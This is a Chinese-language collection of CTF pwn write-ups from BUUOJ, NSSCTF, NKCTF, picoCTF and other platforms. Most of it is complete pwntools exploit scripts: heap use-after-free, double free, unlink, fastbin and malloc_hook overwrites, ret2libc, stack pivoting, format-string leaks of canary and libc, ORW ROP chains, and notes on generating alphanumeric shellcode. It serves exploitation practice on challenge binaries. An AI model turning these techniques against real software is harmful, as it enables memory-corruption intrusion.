1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context(arch='i386' , os='linux' , log_level='debug' ) p = remote('node5.buuoj.cn' , 25051 ) libc = ELF('./libc_32.so.6' ) def add (size, content ): p.recvuntil(b'choice :' ) p.sendline(str (1 )) p.recvuntil(b'size :' ) p.sendline(str (size)) p.recvuntil(b'Content :' ) p.send(content) def delete (idx ): p.recvuntil(b'choice :' ) p.sendline(str (2 )) p.recvuntil(b'Index :' ) p.sendline(str (idx)) def show (idx ): p.recvuntil(b'choice :' ) p.sendline(str (3 )) p.recvuntil(b'Index :' ) p.sendline(str (idx)) add(0x80 , b'aaaa' ) add(0x80 , b'aaaa' ) delete(0 ) add(0x80 , b'aaab' ) show(2 ) p.recvuntil(b'aaab' ) libc_base = u32(p.recv(4 )) - 0x1b07b0 print ('libc_base' , hex (libc_base))system = libc_base + libc.sym['system' ] print ('system' , hex (system))add(0x80 , b'aaaa' ) delete(2 ) delete(3 ) payload = p32(system) + b';sh\x00' add(0x8 , payload) show(2 ) p.interactive()
ACTF_2019_babystack
由于本地libc偏移与题目环境不一致,故先进行patchelf(glibc-all-in-one:./download 2.27-3ubuntu1_amd64
)
更换ld:
1 patchelf --set-interpreter ./ld-linux.so.2 ./pwn
更换libc:
1 patchelf --replace-needed libc.so.6 ./libc-2.27.so ./pwn
先ldd pwn
,libc在本地路径/lib/x86_64-linux-gnu/libc.so.6
,后期会用这个libc中的puts
、system
等找偏移
然后关键在泄露puts_plt
的时候p.sendafter(b'>', payload)
这个地方,之前写p.sendlineafter(b'>', payload)
的时候,用gdb调试,会发现栈上根本没写进ret
、system
这个函数执行ret2libc
,说明前面传输数据的方法存在问题,所以写p.sendafter(b'>', payload)
来泄露puts_plt
ACTF_2019_babystack1
sendlineafter
在发送数据的时候会加上\n
,而sendafter
在发送数据的时候不会加上\n
可以写一个简单的程序测试,\n
会到下一次输入
ACTF_2019_babystack2
然后到后面发现rsp距离数据存储的位置有一段距离,distance 0x7ffd4e7cabe8(第二次printf输出s的地址,即调用printf函数时rsi寄存器中的地址) 0x7ffd4e7cadb0(第一次leak的s地址)
计算偏移,执行ret2libc
然后ret2libc的时候需要注意用两次ret做滑板,保持堆栈平衡
padding可以用""替代,既能当截断使用,又能做填充
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) p = remote("node5.buuoj.cn" ,25043 ) elf = ELF('./pwn' ) libc = ELF('./libc-2.27.so' ) start = 0x0000000000400800 pop_rdi = 0x0000000000400ad3 puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] leave_ret = 0x0000000000400a18 ret = 0x0000000000400709 padding = str ("224" ) p.sendlineafter(b'How many bytes of your message?\n' , padding) p.recvuntil(b'at' ) leak = int (p.recvline().decode().strip(), 16 ) print (f'Leak address: {hex (leak)} ' )payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start) payload = payload.ljust(0xD0 , b'A' ) payload += p64(leak - 0x8 ) + p64(leave_ret) p.sendafter(b'>' , payload) p.recvuntil(b'bye~\n' ) puts_addr = u64(p.recv(6 ).ljust(8 , b"\x00" )) print (f'PUT addr: {hex (puts_addr)} ' )libc_base = puts_addr - libc.symbols['puts' ] print (f'Libc base: {hex (libc_base)} ' )sleep(1 ) p.sendlineafter(b'How many bytes of your message?\n' , padding) system = libc_base + libc.symbols['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh\x00' )) payload = p64(ret)*2 + p64(pop_rdi) + p64(bin_sh) + p64(system) payload = payload.ljust(0xD0 , b'\x11' ) payload += p64(leak-0x190 -0x8 ) + p64(leave_ret) p.sendlineafter(b'>' , payload) p.interactive()
wustctf2020_easyfast
题目chunk前0x10字节存放:prev_size(前8字节,仅在不是 PREV_INUSE
的情况下使用)+size(后8字节)
sub_4009D7()没有检查是否已经释放, 所以可以多次释放,存在double
free漏洞
可以理解成chunk1在free第二次后会指向chunk2,此时的chunk1在chunk3的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) p = remote("node5.buuoj.cn" , 27890 ) elf = ELF('./pwn' ) def add (size ): p.sendlineafter(b">" , b"1" ) p.sendlineafter(b"size>" , str (size)) def free (idx ): p.sendlineafter(b">" , b"2" ) p.sendlineafter(b"index>" , str (idx)) def edit (idx, content ): p.sendlineafter(b">" , b"3" ) p.sendlineafter(b"index>" , str (idx)) p.sendline(content) def backdoor (): p.sendlineafter(b">" , b"4" ) target = 0x602090 add(0x40 ) add(0x40 ) free(0 ) free(1 ) free(0 ) payload = p64(target - 0x10 ) edit(0 , payload) add(0x40 ) add(0x40 ) payload = p64(0 ) edit(3 , payload) backdoor() p.interactive()
[BJDCTF
2020]YDSneedGirlfriend
指针前8字节是函数指针指向print_name函数,后8字节是name字符串指针
[BJDCTF
2020]YDSneedGirlfriend
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *p = remote("node5.buuoj.cn" ,29891 ) context(arch='amd64' , os='linux' , log_level='debug' ) backdoor = 0x0000000000400B9C def add (size, name ): p.sendlineafter(b"Your choice :" , str (1 )) p.sendlineafter(b"Her name size is :" , str (size)) p.sendlineafter(b"Her name is :" , name) def delete (idx ): p.sendlineafter(b"Your choice :" , str (2 )) p.sendlineafter(b"Index :" , str (idx)) def show (idx ): p.sendlineafter(b"Your choice :" , str (3 )) p.sendlineafter(b"Index :" , str (idx)) def exit (): p.sendlineafter(b"Your choice :" , str (4 )) add(0x10 , "a" ) add(0x20 , "b" ) delete(0 ) delete(1 ) add(0x10 , p64(backdoor)) show(0 ) p.interactive()
gyctf_2020_borrowstack
这个题很有意思的是bss和got表很接近,栈迁移的时候rsp抬栈就会覆盖got表(主要是调用puts时开辟栈帧,push大量数据到栈上,可能会覆盖掉got表),所以需要严格控制输入的大小,并且由于rsp被顶到不可写区域,故system也无法执行,只能通过one_gadget执行execve
需要注意的是满足one_gadget的条件,调试x /20gx $rsp
栈上满足[rsp+0x50] == NULL
,使用该ogg就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *p = process("./gyctf_2020_borrowstack" ) elf = ELF("./gyctf_2020_borrowstack" ) libc = ELF('./libc-2.23.so' ) context(arch='amd64' , os='linux' , log_level='debug' ) main = 0x400626 bss = 0x601080 second_read_addr = 0x400680 ret_addr = 0x04004c9 leave_ret = 0x400699 pop_rdi_ret = 0x400703 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] payload = b'\x00' * 0x60 + p64(bss - 0x8 + 0x100 - 0x40 ) + p64(leave_ret) p.sendafter(b"Tell me what you want" , payload) p.recvuntil(b"Done!You can check and use your borrow stack now!\n" ) payload = b'\x00' * (0x100 - 0x40 ) payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) p.send(payload) leak = u64(p.recvuntil(b'\x7f' )[-6 :] + b'\x00\x00' ) libcbase = leak - libc.symbols['puts' ] one_gadget = 0xf02a4 execve = libcbase + one_gadget log.info('libcbase: ' + hex (libcbase)) bss_two = 0x601080 p.recvuntil(b'want' ) p.send(b'D0g3' ) payload = b'\x00' * 0x70 payload += p64(execve) p.send(payload) p.interactive()
wustctf2020_number_game
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("node5.buuoj.cn" ,28389 ) context(arch='amd64' , os='linux' , log_level='debug' ) p.sendline(b"-2147483648" ) p.interactive()
hitcontraining_magicheap
unlink漏洞,构造unsorted bin即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *p = remote("node5.buuoj.cn" ,28951 ) context(arch='amd64' , os='linux' , log_level='debug' ) l33t = 0x0000000000400C50 def create (size, content ): p.sendlineafter(b":" , str (1 )) p.sendlineafter(b":" , str (size)) p.sendlineafter(b":" , (content)) def edit (idx, size, content ): p.sendlineafter(b":" , str (2 )) p.sendlineafter(b":" , str (idx)) p.sendlineafter(b":" , str (size)) p.sendlineafter(b":" , content) def delete (idx ): p.sendlineafter(b":" , str (3 )) p.sendlineafter(b":" , str (idx)) def exit (): p.sendlineafter(b":" , str (4 )) create(0x30 , 'aaaa' ) create(0x80 , 'bbbb' ) create(0x10 , 'cccc' ) delete(1 ) magic_addr = 0x06020A0 edit(0 , 0x50 , 0x30 * b"a" + p64(0 ) + p64(0x91 ) + p64(0 ) + p64(magic_addr - 0x10 )) create(0x80 , 'aaaa' ) p.sendlineafter(b':' , '4869' ) p.interactive()
0ctf_2017_babyheap
依然是四个操作:增删改查,但这里"删"的时候,有将指针置零的操作,且calloc分配内存空间会初始化为零,故无法利用UAF
那这里我们如何去泄露libc然后劫持程序流到system("/bin/sh")
呢,那我们知道释放的small/large
chunk的fd/bk是指向main_arena的,我们可以想办法泄露small/large
chunk的fd/bk,这里就要运用到chunk堆叠的思想
我们先通过堆溢出 (chunk 0) ,修改第二个释放的fast
chunk (chunk 2)
的fd指针的末一个字节 ,指向 我申请的small
chunk (chunk 4) 。然后再释放掉small chunk,使得这个small
chunk会进入unsorted bin 。我们这时再通过堆溢出 (chunk 3)
,修改unsorted
bin的大小为0x21 ,这时候glibc就会把这个unsorted
bin识别为fast bin ,那我们将chunk 2和chunk
4申请回来,这时chunk 2就是chunk 4。修改具体可以参考下图
这时候我们dump一下chunk
2,减去偏移就能得到libc的基地址和main_arena的地址
泄露完libc基地址与main_arena地址之后,我们在main_arena (libc数据段)
的malloc_hook附近寻找符合chunk模式 (见下图)
的地址,构造一个fake chunk,使其data段恰好位于为malloc
hook。我们edit这个fake chunk,将malloc hook修改为one
gadget,在下次任意alloc的时候便能get shell
chunk模式
为什么fake chunk的地址不是libc_base + 0x3c4af0,而是libc_base +
0x3c4afd,原因是需要符合chunk模式,这里调试看对应内存地址的内容便知
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *context.log_level="debug" url, port = "node5.buuoj.cn" , 29076 filename = "./babyheap_0ctf_2017" elf = ELF(filename) debug = 0 if debug: io = process(filename) gdb.attach(io) else : io = remote(url, port) def alloc (size ): io.sendlineafter(b"Command: " , b'1' ) io.sendlineafter(b"Size: " , str (size)) def fill (idx, cont ): io.sendlineafter(b"Command: " , b'2' ) io.sendlineafter(b"Index: " , str (idx)) io.sendlineafter(b"Size: " , str (len (cont))) io.sendafter(b"Content: " , cont) def free (idx ): io.sendlineafter(b"Command: " , b'3' ) io.sendlineafter(b"Index: " , str (idx)) def dump (idx ): io.sendlineafter(b"Command: " , b'4' ) io.sendlineafter(b"Index: " , str (idx)) io.recvuntil(b"Content: \n" ) data = io.recvline() return data alloc(0x10 ) alloc(0x10 ) alloc(0x10 ) alloc(0x10 ) alloc(0x80 ) free(1 ) free(2 ) payload = cyclic(16 ) + p64(0 ) + p64(0x21 ) + cyclic(16 ) + p64(0 ) + p64(0x21 ) + p8(0x80 ) fill(0 , payload) payload = cyclic(16 ) + p64(0 ) + p64(0x21 ) fill(3 , payload) alloc(0x10 ) alloc(0x10 ) payload = cyclic(16 ) + p64(0 ) + p64(0x91 ) fill(3 , payload) alloc(0x80 ) free(4 ) main_arena_addr = u64(dump(2 )[:8 ]) libc_base = main_arena_addr - 0x3c4b78 __malloc_hook_addr = libc_base + 0x00000000003c4b10 one_gadget_addr = libc_base + 0x4526a log.info("main_arena_addr = 0x%x" % main_arena_addr) log.info("libc_base = 0x%x" % libc_base) log.info("__malloc_hook_addr = 0x%x" % __malloc_hook_addr) log.info("one_gadget_addr = 0x%x" % one_gadget_addr) alloc(0x60 ) free(4 ) payload = p64(libc_base + 0x3c4afd ) fill(2 , payload) alloc(0x60 ) alloc(0x60 ) payload = p8(0 ) * 3 + p64(one_gadget_addr) fill(6 , payload) alloc(0x900d ) io.sendline(b"cat${IFS}flag" ) io.interactive()
NSSCTF
[SWPUCTF 2021 新生赛]gift_pwn
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.update(os="linux" ,arch="amd64" ,log_level="debug" ) alexio = remote("node4.anna.nssctf.cn" ,"28791" ) payload = 24 *b"A" + p64(0x400673 ) + p64(0x4006A6 ) + p64(0x4005CE ) alexio.send(payload) alexio.interactive()
[BJDCTF 2020]babystack
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context.update(os="linux" ,arch="amd64" ,log_level="debug" ) alexio = remote("node4.anna.nssctf.cn" ,"28679" ) payload = 24 *b"A" + p64(0x4006EA ) + p64(0x4006EF ) alexio.recvline("Please input the length of your name:\n" ) alexio.sendline(b"-1" ) alexio.sendline(payload) alexio.interactive()
[CISCN 2019华北]PWN1
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.update(os="linux" ,arch="amd64" ,log_level="debug" ) alexio = remote("node4.anna.nssctf.cn" ,"28553" ) payload = cyclic(0x30 -0x4 )+p64(0x41348000 ) alexio.sendline(payload) alexio.interactive()
[NISACTF 2022]ezstack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.update(os="linux" ,arch="amd64" , log_level="debug" ) alexio = remote("node5.anna.nssctf.cn" ,"28857" ) elf = ELF("./pwn" ) system = elf.sym['system' ] payload = cyclic(76 )+p64(system)+p64(0x0804A024 ) alexio.recvline() alexio.send(payload) alexio.interactive()
NewStarCTF2023
random
考点 :ctypes,pwntools
FLAG :动态FLAG
解题步骤
利用ctypes库在python代码中调用c语言函数,可以与程序生成同样的伪随机数
创建一个名为 random1.c 的C语言源代码文件
1 2 3 4 5 6 7 8 9 10 11 #include <stdlib.h> #include <time.h> void set_seed () { time_t seed = time(NULL ); srand(seed); } int random_number () { return rand(); }
编译这个C语言源文件为一个动态链接库(.so文件)。
编译:
1 gcc -shared -o random1.so random1.c
本题exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *import ctypestob = lambda text: str (text).encode('utf-8' ) lib = ctypes.CDLL('./random1.so' ) while 1 : try : sh = remote("node4.buuoj.cn" , 28321 ) lib.random_number.restype = ctypes.c_int lib.set_seed() result = lib.random_number() log.success("result==" + hex (result)) sh.recvuntil(b"?\n" ) sh.sendline(tob(result)) sh.sendline(b'ls' ) answer = sh.recv(timeout = 3 ) if b'sh' in answer: sh.close() elif b'Haha you are wrong' in answer: sh.close() else : sh.interactive() except : sh.close()
shellcode revenge
https://github.com/TaQini/alpha3
string.printable - 可见字符串shellcode
alpha3生成:
将shellcode重定向到一个文件中
切换到alpha3目录中,使用alpha3生成string.printable
1 2 cd alpha3 python ./ALPHA3.py x64 ascii mixedcase rax --input="存储shellcode的文件" > 输出文件
python手动:
打印满足过滤条件的三字符组合对应的汇编代码
1 2 3 4 5 6 7 8 9 10 from pwn import *context.update(arch='amd64' , os='linux' ) a = '1234567890ABCDEF' for i1 in a: for i2 in a: for i3 in a: sc = f'{i1} {i2} {i3} ' print (disasm(sc.encode()))
手搓可见字符串shellcode参考
1 https://nets.ec/Alphanumeric_shellcode
NKCTF 2024
Maimai查分器
存在PIE和Canary保护
第一次send(b'1')
进入sub_188C()
函数,再输入50次
chart level 和 rank 。但不能2次使得 v5 = 15.0
否则程序会判断为非法输入从而终止。需要使计算后v6满足该条件
(int)v6 = dword_504C < dword_5010
在后面才能进
sub_1984();
函数,所以对 v5
尽可能大地赋值,我这里赋值v5=1600000
,同样对v7赋值使得return到的值尽可能大,当
v7 = "SSS+"
时最大
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 sub_188C(){ ... if ( v3 != 1 ) break ; sub_188C(); ... } unsigned __int64 sub_188C () { ... for ( i = 0 ; i <= 49 ; ++i ) { __isoc99_scanf("%lf %s" , &v5, v7); if ( v5 == 15.0 ) { v0 = v3++; if ( v0 == 2 ) { puts ("Invalid." ); } } sub_1633(v7); v6 = v0 * v5 + v6; } dword_504C = (int )v6; } __int64 __fastcall sub_1633 (const char *a1) { ... if ( !strcmp (a1, "SSS+" ) ) return 0x4036666666666666 LL; ... }
然后send(b'2')使得v3=2
break循环,进入sub_19EA函数,printf(buf);
存在格式化字符串漏洞,第一次先泄露__libc_start_call_main地址(这里是一个重点:
**elf中的 _libc_start_call_main 函数作用是转移控制权到libc的
_libc_start_main函数**,因此, _libc_start_call_main 在ELF中的地址,相当于
_libc_start_main 在加载后libc库的地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { ... if ( v3 == 2 && v4 ) { sub_19EA(); } ... } unsigned __int64 sub_19EA () { ... read(0 , buf, 8uLL ); printf (buf); printf (", your rating is: %d\n" , (unsigned int )dword_504C); if ( dword_504C < dword_5010 ) { puts ("I think you should play more maimai." ); exit (0 ); } sub_1984(); ... }
这是当时找libc基地址写的一次性泄露Canary PIE libc的部分脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 libc_str_values = {} libc_values = {} for i in range (50 ): r.send(b"\n" ) r.sendlineafter(b"Select a option:\n" , b"2" ) r.recvuntil(b"Input your nickname.\n" ) r.send(f"%{i} $p\n" .encode()) libc_str_values[i] = r.recv(14 ).decode() try : libc_values[i] = int (libc_str_values[i], 16 ) if libc_str_values[i].startswith('0x' ) else 0 except ValueError: libc_values[i] = 0 for i in range (50 ): if libc_values[i]: info(f"libc{i} value: {hex (libc_values[i])} " ) else : info(f"libc{i} value: No valid address leaked" )
判断Canary PIE
libc等泄露是否正确可以gdb.attach后在pwndbg输入对应命令查看(canary pie
libc vmmap等)
找__libc_start_main address: 0x29dc0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *elf_path = './libc.so.6' elf = ELF(elf_path) if '__libc_start_main' in elf.symbols: libc_start_main_addr = elf.symbols['__libc_start_main' ] print (f"__libc_start_main address: {hex (libc_start_main_addr)} " ) else : print ("__libc_start_main symbol not found in ELF." )
程序执行流程到sub_1984函数,这里看似能栈溢出,但是实则要绕过v2 = __readfsqword(0x28u);
和
return v2 - __readfsqword(0x28u);
Canary代码,前两次ropchain(100个字节超过read的buf了,即使没有Canary也不行)与ret2libc都卡在这里了(即使绕过Canary后ret2libc也不能读到flag,题目没给flag权限,还是要orw才行)
所以任意输入返回到main函数重新进行选择
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 sub_19EA () { ... sub_1984(); ... } unsigned __int64 sub_1984 () { v2 = __readfsqword(0x28 u); read(0 , buf, 0x80 uLL); return v2 - __readfsqword(0x28 u); }
以同样的思路格式化字符串泄露Canary和栈的地址(栈地址第三位被切除,故第二个%np只要是同一页都行)
找gadgets进行orw
1 2 3 4 5 6 7 8 9 ROPgadget --binary=libc.so.6 | grep "ret" ROPgadget --binary=libc.so.6 | grep "pop rdi ; ret" ROPgadget --binary=libc.so.6 | grep "pop rsi ; ret" ROPgadget --binary=libc.so.6 | grep "pop rdx ; pop r12 ; ret" 0x0000000000029139 : ret0x000000000002a3e5 : pop rdi ; ret0x000000000002be51 : pop rsi ; ret0x000000000011f2e7 : pop rdx ; pop r12 ; ret
orw:
1 2 3 4 5 6 buf = stack_addr + 3 orw = p64(rdi_ret) + p64(buf) + p64(rsi_ret) + p64(0 ) + p64(open ) orw += p64(rdi_ret) + p64(3 ) + p64(rsi_ret) + p64(buf - 0x50 ) + p64(rdx_r12) + p64(0x50 ) * 2 + p64(read_addr) orw += p64(rdi_ret) + p64(1 ) + p64(write_addr) payload = b'flag\x00' payload += p64(canary) + p64(0 ) + orw
最后只给一次v5 == 15.0
使得这个判断不成立if ( v1 == 2 )
,往v7里面写rop链执行orw
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *context.update(arch='amd64' , os='linux' , log_level='debug' ) p = remote('node.nkctf.yuzhian.com.cn' , 30995 ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) p.recvuntil(b'Select a option:\n' ) p.sendline(b'1' ) p.recvuntil(b'Input chart level and rank.' ) for i in range (50 ): p.sendline(b'1600000' ) p.sendline(b'SSS+' ) p.recvuntil(b'Select a option:\n' ) p.sendline(b'2' ) p.recvuntil(b'Input your nickname.' ) p.send(b'%13$p' ) p.recvuntil(b'0x' ) libc_addr = int (p.recv(12 ), 16 ) libc_base = libc_addr - 0x29d90 info(f"libc base value: {hex (libc_base)} " ) p.recvuntil(b'Can you teach me how to play maimai?' ) p.send(b'a' ) p.recvuntil(b'Select a option:\n' ) p.sendline(b'2' ) p.recvuntil(b'Input your nickname.' ) p.send(b'%7$p%33p' ) p.recvuntil(b'0x' ) canary = int (p.recv(16 ), 16 ) info(f"Canary value: {hex (canary)} " ) p.recvuntil(b'0x' ) stack_addr = int (p.recv(12 ), 16 ) info(f"Stack addr: {hex (stack_addr)} " ) p.send(b'a' ) ret = libc_base + 0x0000000000029139 rdi_ret = libc_base + 0x000000000002a3e5 rsi_ret = libc_base + 0x000000000002be51 rdx_r12 = libc_base + 0x000000000011f2e7 system = libc_base + libc.sym['system' ] open = libc_base + libc.sym['open' ]write_addr = libc_base + libc.sym['write' ] read_addr = libc_base + libc.sym['read' ] str_bin_sh = libc_base + next (libc.search(b'/bin/sh' )) buf = stack_addr + 3 orw = p64(rdi_ret) + p64(buf) + p64(rsi_ret) + p64(0 ) + p64(open ) orw += p64(rdi_ret) + p64(3 ) + p64(rsi_ret) + p64(buf - 0x50 ) + p64(rdx_r12) + p64(0x50 ) * 2 + p64(read_addr) orw += p64(rdi_ret) + p64(1 ) + p64(write_addr) payload = b'flag\x00' payload += p64(canary) + p64(0 ) + orw p.recvuntil(b'Select' ) p.sendline(b'1' ) p.recvuntil(b'Input' ) for i in range (49 ): p.sendline(b'1600000' ) p.sendline(b'SSS+' ) p.sendline(b'15.0' ) p.sendline(payload) p.interactive()
青少年CTF练习平台
简单的数学题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(arch='amd64' , os='Linux' , log_level='debug' ) p = remote('challenge.qsnctf.com' ,32694 ) p.recvuntil(b"x.\n" ) p.sendline(b"8" ) p.recvuntil(b"sign.\n" ) p.sendline(b"9" ) p.recvuntil(b"x.\n" ) p.sendline(b"19" ) p.interactive()
2024春秋杯网络安全联赛夏季赛
stdout
第一次read_plt过的是csu_head的call函数,第二次read_plt进行缓冲区溢出,puts打印出bss段上的puts_got地址,然后ret2libc即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *p = process('./pwn' ) elf = ELF('./pwn' ) context(arch='amd64' , os='linux' , log_level='debug' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) bss = 0x404200 start = 0x401130 vuln = 0x40125D pop_rdi = 0x00000000004013d3 pop_rsi_r15 = 0x4013D1 ret = 0x40101a puts_plt = elf.plt['puts' ] read_plt = elf.plt['read' ] puts_got = elf.got['puts' ] csu_head = 0x4013B0 csu_rear = 0x4013CA payload = b'\x00' * (0x50 + 0x8 ) + p64(vuln) p.send(payload) payload = b'\x00' * (0x20 + 0x8 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start) p.send(payload) payload = b'\x00' * (0x50 + 0x8 ) + p64(vuln) p.send(payload) payload = b'\x00' * (0x20 + 0x8 ) + p64(pop_rdi) + p64(0 ) + p64(pop_rsi_r15) + p64(bss) + p64(0 ) + p64(read_plt) + p64(csu_rear) + p64(0 ) + p64(1 ) + p64(0 ) + p64(bss) + p64(1025 ) + p64(bss) + p64(csu_head) + p64(0 )*7 + p64(read_plt) + p64(start) p.send(payload) sleep(1 ) p.sendline(p64(ret)) sleep(1 ) p.sendline(b'a' *1024 ) sleep(1 ) payload = b'\x00' * (0x50 + 0x8 ) + p64(vuln) p.send(payload) payload = b'\x00' * (0x20 + 0x8 ) payload += p64(pop_rdi) + p64(bss) + p64(puts_plt) + p64(start) p.send(payload) leak = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = leak - libc.symbols['puts' ] success('libcbase ' + hex (libc_base)) payload = b'\x00' * (0x50 + 0x8 ) + p64(vuln) p.send(payload) system = libc_base + libc.symbols["system" ] bin_sh = libc_base + next (libc.search(b"/bin/sh\x00" )) payload = b'\x00' * (0x20 + 0x8 ) + p64(pop_rdi) + p64(bin_sh) + p64(system) p.send(payload) p.interactive()
DASCTF2024
暑期挑战赛
springboard
非栈上格式化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) p = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('libc.so.6' ) p.recvuntil(b"Please enter a keyword" ) p.sendline(b"%3$p-%6$p" ) p.recvuntil(b"0x" ) leak1 = int (p.recv(12 ), 16 ) libc_base = leak1 - 0xf7360 log.info("libc base:" +hex (libc_base)) p.recvuntil(b"0x" ) leak2 = int (p.recv(12 ), 16 ) libc_start_main_240 = leak2 - 0xd8 log.info("__libc_start_main+240:" +hex (libc_start_main_240)) one_gadget = libc_base + 0xf1247 p.sendlineafter(b'Please enter a keyword' ,'%' +str (libc_start_main_240&0xffff )+'c%11$hn' ) p.sendlineafter(b'Please enter a keyword' , '%' + str (one_gadget & 0xffff ) + 'c%37$hn' ) p.sendlineafter(b'Please enter a keyword' , '%' + str ((libc_start_main_240 + 2 ) & 0xffff ) + 'c%11$hn' ) p.sendlineafter(b'Please enter a keyword' , '%' + str ((one_gadget >> 16 ) & 0xff ) + 'c%37$hhn' ) p.interactive()
2024年“羊城杯”粤港澳大湾区网络安全大赛
pstack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context.log_level = 'debug' elf = ELF('./pwn' ) p = remote("139.155.126.78" ,12345 ) libc = ELF('./libc.so.6' ) start = 0x0000000000400540 pop_rdi = 0x0000000000400773 ret = 0x0000000000400506 leave_ret = 0x00000000004006db bss = 0x0000000000601230 bss_2 = 0x0000000000601830 read_addr = 0x00000000004006C4 puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] p.recvuntil(b'Can you grasp this little bit of overflow?' ) payload = 0x30 * b"a" + p64(bss) + p64(read_addr) p.send(payload) padding = b"lea_ret\x00" payload = padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start) payload = payload.ljust(0x30 , b'\x00' ) payload += p64(bss - 0x30 )+p64(leave_ret) p.send(payload) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = puts_addr - libc.symbols['puts' ] bin_sh = libc_base + next (libc.search(b'/bin/sh\x00' )) system = libc_base + libc.sym['system' ] log.info("libc base:" +hex (libc_base)) log.info("bin_sh:" +hex (bin_sh)) log.info("system:" +hex (system)) p.recvuntil(b'Can you grasp this little bit of overflow?' ) payload = 0x30 * b"a" + p64(bss_2) + p64(read_addr) p.send(payload) payload = padding + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) payload = payload.ljust(0x30 , b'\x00' ) payload += p64(bss_2 - 0x30 )+p64(leave_ret) p.send(payload) p.interactive()
PicoCTF
heap 0
题目判断如果safe_var!="bico"则输出flag,给了往input_data输入的权限,往下输入数据覆盖safe_var即可,注意保持原来safe_var大小不变。safe_var后面数据可以任意填写,这里我填写b"pico"覆盖。
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.update(arch='amd64' , os='linux' ,log_level='debug' ) p = remote("tethys.picoctf.net" ,"50758" ) p.sendlineafter(b'Enter your choice: ' , b"2" ) p.sendlineafter(b"Data for buffer: " ,cyclic(3 *8 )+p64(0x21 )+b"pico" ) p.sendlineafter(b'Enter your choice: ' , b"4" ) p.interactive()
picoCTF{my_first_heap_overflow_e4c92a78}
heap 1
同heap 0
1 2 3 4 5 6 7 8 9 10 11 from pwn import *context.update(arch='amd64' , os='linux' ,log_level='debug' ) p = remote("tethys.picoctf.net" ,"58483" ) p.sendlineafter(b'Enter your choice: ' , b"2" ) p.sendlineafter(b"Data for buffer: " ,cyclic(3 *8 )+p64(0x21 )+b"pico" ) p.sendlineafter(b'Enter your choice: ' , b"4" ) p.interactive()
